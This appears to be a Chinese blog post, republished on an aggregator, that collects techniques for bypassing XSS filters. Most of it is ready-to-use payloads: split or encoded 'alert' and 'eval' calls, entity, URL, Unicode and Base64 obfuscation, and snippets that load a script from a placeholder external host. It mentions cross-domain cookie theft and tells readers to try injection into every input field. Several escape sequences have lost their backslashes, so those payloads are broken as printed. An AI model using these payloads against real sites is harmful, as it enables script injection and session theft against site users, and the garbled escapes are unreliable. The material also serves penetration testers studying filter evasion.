zoukankan      html  css  js  c++  java
  • 绕过XSS过滤姿势总结

    0x00 XSS基本测试流程

    原则是“见框就插”,多动手,这里分享几个经典测试payload:

    "><svg/onload=alert(1)//
    

    具体引用外部js的代码姿势是:

    <svg/onload=s=createElement('script');body.appendChild(s);s.src='js地址'//
    

    在火狐浏览器下查看的效果(浏览器解析时会自动加上引号):

    <a href="javascript:alert(1)" >click me</a>       //a标签伪协议执行
    
    <a href="data:text/html;base64,这里跟着base64之后的js代码">click here</a>        //data引用外域资源
    

    外域获取cookie,据我所知只有火狐才可以了,这里涉及同源策略相关知识。
    具体情况还需要具体分析,一定要记住 灵活构造 才是XSS最核心的东西!
    下面,我总结了针对不同的防护措施,可采取的绕过姿势,即是本文的重点。

    0x01 弹窗关键字检测绕过

    基本WAF都针对常用的弹窗函数做了拦截,如alert()、prompt()、confirm(),另外还有代码执行函数eval(),想要绕过去也比较简单,我们以alert(‘xss’)为例,其实只需要分割alert和()即可,例如:
    添加空格、TAB、回车、换行:alert%20(/xss/)、alert%0A(/xss/)、alert%0D(/xss/)、alert%09(/xss/)
    添加多行注释:alert/*abcd*/(/xss/)
    添加注释换行:alert//abcd%0A(/xss/)、confirm//abcd%0D(/xss/)
    使用''代替():alert'xss'
    使用括号分割:(alert)(/xss/)、((alert))(/xss/)

    使用window和top:

    <img src=x onerror="window['al'+'ert'](0)"></img>
    <img src=x onerror="window.alert(0)"></img>
    <img src=x onerror="top['al'+'ert'](0)"></img>
    <img src=x onerror="top.alert(0)"></img>
    

    另外还可以通过以下方式绕过WAF:

    <input/onfocus=_=alert,_(123)>
    <input/onfocus=_=alert,xx=1,_(123)>
    <input/onfocus=_=alert;_(123)>
    <input/onfocus=_=alert;xx=1;_(123)>
    <input/onfocus=_=window['alert'],_(123)>
    <input/onfocus=_=window.alert,_(123)>
    

    另外还可以通过异常处理

    <svg/onload="window.onerror=eval;throw'=alertx281x29';">
    

    eval(string)参数为字符串,可以拼接关键字绕过检测。

    <svg/onload=eval('ale'+'rt(1)')>
    

    另外跳转中也可以使用关键字拼接

    <svg/onload=location='javas'+'cript:ale'+'rt(1)'>
    <svg/onload=window.location='javas'+'cript:ale'+'rt(1)'>
    <svg/onload=location.href='javas'+'cript:ale'+'rt(1)'>
    <svg/onload=window.open('javas'+'cript:ale'+'rt(1)')>
    <svg/onload=location='javas'.concat('cript:ale','rt(1)')>
    

    0x02 编码绕过

    1. html实体编码
    <iframe src=javascript:alert(1)>
    

    html标签中支持十进制,例如:

    <iframe src=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;>
    

    十六进制,例如:

    <iframe src=&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;>
    

    可以不带分号

    <iframe src=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x31&#x29>
    

    可以填充0

    <iframe src=&#x0006A&#x00061&#x00076&#x00061&#x00073&#x00063&#x00072&#x00069&#x00070&#x00074&#x0003A&#x00061&#x0006C&#x00065&#x00072&#x00074&#x00028&#x00031&#x00029>
    

    绕过关键字过滤

    1.<iframe src=javas&#x09;cript:alert(1)></iframe> //Tab
    2.<iframe src=javas&#x0A;cript:alert(1)></iframe> //回车
    3.<iframe src=javas&#x0D;cript:alert(1)></iframe> //换行
    4.<iframe src=javascript&#x003a;alert(1)></iframe> //编码冒号
    5.<iframe src=javasc&NewLine;ript&colon;alert(1)></iframe> //HTML5 新增的实体命名编码,IE6、7下不支持
    
    1. URL编码
    <a href="{here}">xx</a>
    <iframe src="{here}">
    

    当输出环境在href或者src时,是可以通过javascript伪协议来执行JS的,例如

    <iframe src=”javascript:alert(1)”>test</iframe>
    

    同样src中是可以进行URL编码的,需要注意协议头javascript:不能编码,否则JS无法执行。

    <a href="javascript:%61%6c%65%72%74%28%31%29">xx</a>
    <iframe src="javascript:%61%6c%65%72%74%28%31%29"></iframe>
    

    可以二次URL编码

    <iframe src="javascript:%2561%256c%2565%2572%2574%2528%2531%2529"></iframe>
    

    这里结合一下上面说16进制编码

    <iframe src="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;%61%6c%65%72%74%28%31%29"></iframe>
    
    1. Unicode编码
    <input onfocus=location="javascript:u0061u006Cu0065u0072u0074u0028u0031u0029" autofocus> 
    
    <input onfocus=u0061u006Cu0065u0072u0074(1) autofocus>
    

    另外还有八进制和十六进制

    1.<svg/onload=setTimeout('x61x6Cx65x72x74x28x31x29')>
    2.<svg/onload=setTimeout('141154145162164506151')>
    3.<svg/onload=setTimeout('u0061u006Cu0065u0072u0074u0028u0031u0029')>
    4.<script>eval("x61x6Cx65x72x74x28x31x29")</script>
    5.<script>eval("141154145162164506151")</script>
    6.<script>eval("u0061u006Cu0065u0072u0074u0028u0031u0029")</script>
    

    有的WAF拦截了eval()同样可以使用上面提到的alert()绕过的方式,如注释、注释换行等
    同样也可以使用window[‘eval’]

    1.<script>window['eval']("x61x6Cx65x72x74x28x31x29")</script>
    2.<script>window['eval']("141154145162164506151")</script>
    3.<script>window['eval']("u0061u006Cu0065u0072u0074u0028u0031u0029")</script>
    
    1. Base64编码
    <a href="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==">test</a>
    
    <iframe src="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg=="></iframe>
    

    需要注意内容是可以做实体编码。不影响XSS执行。

    1.<iframe src="data:text/html,<script>alert&#40;1&#41;</script>"></iframe>
    2.<iframe srcdoc="<script>alert&#40;1&#41;</script>"></iframe>
    

    另外还可以使用atob函数

    1.<a%20href=javascript:eval(atob('YWxlcnQoMSk='))>Click</a>
    2.<a%20href=javascript:eval(window.atob('YWxlcnQoMSk='))>Click</a>
    3.<a%20href=javascript:eval(window['atob']('YWxlcnQoMSk='))>Click</a>
    
    1. 其他
      String.fromCharCode:
     <a href='javascript:eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41))'>Click</a>
    

    这里针对HTML编码、URL编码、Unicode编码还涉及到一个解码顺序的问题:
    我们以<a href=javascript:alert(1)>Click</a>为例
    根据上面的例子,我们可以使用三种编码:
    HTML编码:

    <a href=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;>Click</a>
    

    Unicode编码:

    <a href=javascript:u0061u006Cu0065u0072u0074(1)>Click</a>
    

    URL编码:

    <a href=javascript:%2561%256c%2565%2572%2574%2528%2531%2529>Click</a>
    

    然后我们把这三种解码结合起来:Unicode编码 -> URL编码 -> HTML编码

    <a href=javascript:u0061u006Cu0065u0072u0074(1)>Click</a>
    <a href=javascript:%5c%75%30%30%36%31%5c%75%30%30%36%43%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(1)>Click</a>
    <a href=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#37;&#53;&#99;&#37;&#55;&#53;&#37;&#51;&#48;&#37;&#51;&#48;&#37;&#51;&#54;&#37;&#51;&#49;&#37;&#53;&#99;&#37;&#55;&#53;&#37;&#51;&#48;&#37;&#51;&#48;&#37;&#51;&#54;&#37;&#52;&#51;&#37;&#53;&#99;&#37;&#55;&#53;&#37;&#51;&#48;&#37;&#51;&#48;&#37;&#51;&#54;&#37;&#51;&#53;&#37;&#53;&#99;&#37;&#55;&#53;&#37;&#51;&#48;&#37;&#51;&#48;&#37;&#51;&#55;&#37;&#51;&#50;&#37;&#53;&#99;&#37;&#55;&#53;&#37;&#51;&#48;&#37;&#51;&#48;&#37;&#51;&#55;&#37;&#51;&#52;&#40;&#49;&#41;>Click</a>
    

    发现同样是可以弹窗的。

    0x03 引入外部JS

    通过在<script>标签中引入其他字符绕过

    1.<script/src='1.js'/~~234*234></script ~~234*234>
    2.onfocus='a=document.createElement("script");a.src="http://x.x.x.x";body.appendChild(a);'
    3.onfocus='a=document.createElement("scr"+"ipt");a.src="http://x.x.x.x";body.appendChild(a);' //拆分关键字
    4. //SSI
    5.<link%20rel=import%20href="2.js">

    0x04 OWASP备忘录

    Basic XSS Test Without Filter Evasion

    0x05 其他收集

    Github



    附编码转换工具:http://bianma.51240.com/
    注:XSS漏洞原理以及防护原理详见:http://www.recorday.cn/index.php/2018/01/25/xss1/

  • 相关阅读:
    安装插件 YouCompleteMe 成功却无法自动补全C++的解决办法
    Ubuntu 16.04 使用 vim_plug 安装插件 YouCompleteMe 报错“ycmd server SHUT DOWN”
    POJ #1062 昂贵的聘礼 有限制的最短路 枚举+dijkstra求最短路
    POJ #3259 Wormholes 判负环 SPFA
    POJ #1860 Currency Exchange 最短路径算法 Bellman-ford SPFA 判断负环
    spfa 算法模板 可求带负权边的最短路 判断负环
    POJ #1042 Gone Fishing 贪心
    路人甲
    Perface
    1. Perface
  • 原文地址:https://www.cnblogs.com/H4ck3R-XiX/p/12732356.html
Copyright © 2011-2022 走看看